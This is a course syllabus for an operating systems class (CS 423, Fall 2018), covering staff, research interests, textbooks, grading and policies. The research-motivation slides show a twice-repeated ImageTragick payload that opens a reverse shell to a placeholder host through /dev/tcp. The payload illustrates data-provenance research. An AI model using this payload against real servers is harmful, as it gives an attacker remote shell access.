CS 423
Operating System Design: This is the Syllabus

Professor Adam Bates
Fall 2018
Before CS 423:
• Knowledge of C/C++
• Basic knowledge of Linux/POSIX APIs and functions

After CS 423:
• Mastery of Operating Systems concepts
• Comprehensive understanding of virtualization techniques
• Introduction to advanced OS topics: security, energy, redundant storage...
• **Become a kernel hacker** capable of establishing a kernel development environment and modifying operating system code
What's in it for you?

- Understand the foundations of all computer software
- Apply systems concepts and methodologies to higher layer software systems. Modern browsers, language virtual machines, and IoT devices all run their own forms of operating systems!
- Acquire a very particular (and lucrative) set of skills!

“I attended a Microsoft-organized meeting where the Director of Engineering of (Microsoft in Redmond) talked to me about a great need for engineers who know operating systems/device drivers, and know Linux kernel/programming at such lower levels. He bitterly complained that many CS departments are dismanteling their OS programs. I told him that we have actually multiple OS undergraduate classes at UIUC the current instructor to advertise among the students who take these courses that there are many jobs at Microsoft in OS area (more than ever!).”
The Team

Adam Bates (Instructor)
Office: 4306 SC
Office Hours: Tuesdays 11:00-12:00
Tel: 217.300.4653 (office hours only)
batesa@illinois.edu

Saad Hussain (TA) <msh5@illinois.edu>
Mohammad Noureddine (TA) <nouredden2@illinois.edu>
TA Office hours will be announced on class Webpage
Research Interests:

- **Provenance-Aware Operating Systems** (NDSS’18, WWW’17, CCS’16, SecDev’16, Security’15, TaPP’15)
- **Communications Security** (NDSS’12, Security’15, JCS’14)
- **Embedded Device Security** (NDSS’18, CCS’16, Security’16, ACSAC’15, NDSS’14)
- **Mobile Phone Security & Privacy** (Security’15)
- **SSL/HTTPS Trust Enhancements** (CCS’14, IMC’14)
- **Cloud Computing Security** (IJIS’14, SENT’14, CCSW’13)

Career Highlights:

2. 23 Peer-Reviewed publications (11 Conference Majors)
3. Program Comm Chair, TaPP’17 Organizing Comm, IEEE SP ’16-’18 Program Comm, NDSS’17-’18, USENIX Security ’18, USENIX ATC’17, CCS’17
How can we reason about the provenance (i.e., history) of data objects and events in computing systems?

The provenance graph for an web service using *ImageMagick*, a pervasive image processing library for *nix.

1. httpd recv e.e.e.e on port 80
2. httpd writes uploads/rsh.jpg
3. httpd forks shell process
4. shell process runs identify
5. identify loads libMagick library, reads uploads/rsh.jpg
How can we reason about the **provenance** (i.e., history) of data objects and events in computing systems?

The provenance graph for an web service using *ImageMagick*, a pervasive image processing library for *nix.

1. httpd recv e.e.e.e on port 80
2. httpd writes uploads/rsh.jpg
3. httpd forks shell process
4. shell process runs identify
5. identify loads libMagick library, reads uploads/rsh.jpg

**ImageTragick:** What happens when we upload this “image”?

```
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`bash -i >& /dev/tcp/X.X.X.X/9999 0<&1`'
```
How can we reason about the **provenance** (i.e., history) of data objects and events in computing systems?

The provenance graph for an web service using *ImageMagick*, a pervasive image processing library for *nix.

1. httpd recv e.e.e.e on port 80
2. httpd writes uploads/rsh.jpg
3. httpd forks shell process
4. shell process runs identify
5. identify loads libMagick library, reads uploads/rsh.jpg

**ImageTragick**: What happens when we upload this “image”?

```
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`bash -i >& /dev/tcp/X.X.X.X/9999 0>&1`
```
Online Discussion

https://piazza.com/illinois/spring2017/cs423/

Go here for announcements and to ask questions.

Instruction team will be checking forums regularly!
Textbook

  Thomas Anderson, Michael Dahlin

• On hold at bookstore
• Reasonably priced! (~$70)
• Old editions are fine
• Alternate textbooks are fine
Additional Texts

• Alternative Textbooks:
  Internals and Design Principles
  Stallings, 2014
  Modern Operating Systems
  Tanenbaum and Bos, 2014
  Operating System Concepts
  Silberschatz, Galvin and Gagne, 2012

• Other Recommended Reading:
  Virtual Machines
  Smith and Nair, 2005
  Linux Kernel Development**
  Love, 2010

** Helpful for MPs
CS 423 Requirements

• **Attendance/Participation**
  • Come to class, MWF, 11-11:50am
  • Participate actively in class and on piazza
• **Machine Problems (MPs):** 4 major programming assignments + one warm-up
• **Periodic Homeworks:** includes “prereqs” and “practice final”, may assign more
• **Midterm & Final Exams:** Dates TBD
• **4 Credit Class:** Read additional assigned literature and submit summaries weekly.

**ALL WORK IS TO BE INDEPENDENTLY COMPLETED!**
Final Exam: 25%
Mid-term Exam: 25%
Homework: 10%
Machine Problems (5 total): 30%
  2%, 7%, 7%, 7%, 7%
Participation: 10%
  Class/Forum involvement
Participation

• Contribute in class — ask questions, respond to questions, share relevant outside knowledge.

• Contribute *good* questions and answers on Piazza!

• “The kind of answers you get to your technical questions depends as much on the way you ask the questions as on the difficulty of developing the answer.”

• How To Ask Questions The Smart Way: http://www.catb.org/esr/faqs/smart-questions.html

• Other questions (e.g., administrative) on Piazza are also welcome, but won’t give you participation credit.
• Earn your 4th credit by reading and summarizing weekly literature assignments

• Summaries due on the Friday of each week. The first summaries are due January 26th.

• Upload summaries on compass. They should be typeset in LaTeX.

• Assigned readings are marked as C4 in the Assignments section of the class schedule. Other students are not required to read the papers.
• Each summary should be about a page in length.

• Structure your summary to cover:

  1. Area
  2. Problem
  3. Solution
  4. Methodology
  5. Results
  6. Takeaway
Policies

• **No screens in class!**
  - Distracts you (sorta bad)
  - Distracts others (really bad)
  - Inhibits discussion
  - Because science

• If/when you forget, a TA will ask you to put your device away.

• If you’d rather look at a screen, all lectures are recorded online anyway.
• No late homework/MP submissions
• 1 week window for re-grades from return date
• Cheating policy: Zero tolerance
  • 1st offense: get zero
  • 2nd offense: fail class
• Example: You submitted two MPs in which solutions were not your own. Both were discovered at the same time. You fail class.
My goal is to make this course challenging but fair. I will offer midterm teaching evaluation so I can adjust my teaching to your feedback. Feedback also welcome in office hours.
Your To-Do List

**Today:**
- Visit the class webpage and check out all the info
  - [https://courses.engr.illinois.edu/cs423/](https://courses.engr.illinois.edu/cs423/)
- Refresh your system programming skills (e.g., review CS 241 and see C language tutorial below)
  - [http://www.lysator.liu.se/c/bwk-tutor.html](http://www.lysator.liu.se/c/bwk-tutor.html)
- Familiarize yourself with Piazza

**Soon:**
- Access CS423 development VM, begin MP0
- Complete HW0
https://courses. engr. illinois. edu/cs423/

Go here for...
• Syllabus
• Course Schedule
• Lecture Slides/Recordings
• Links to other resources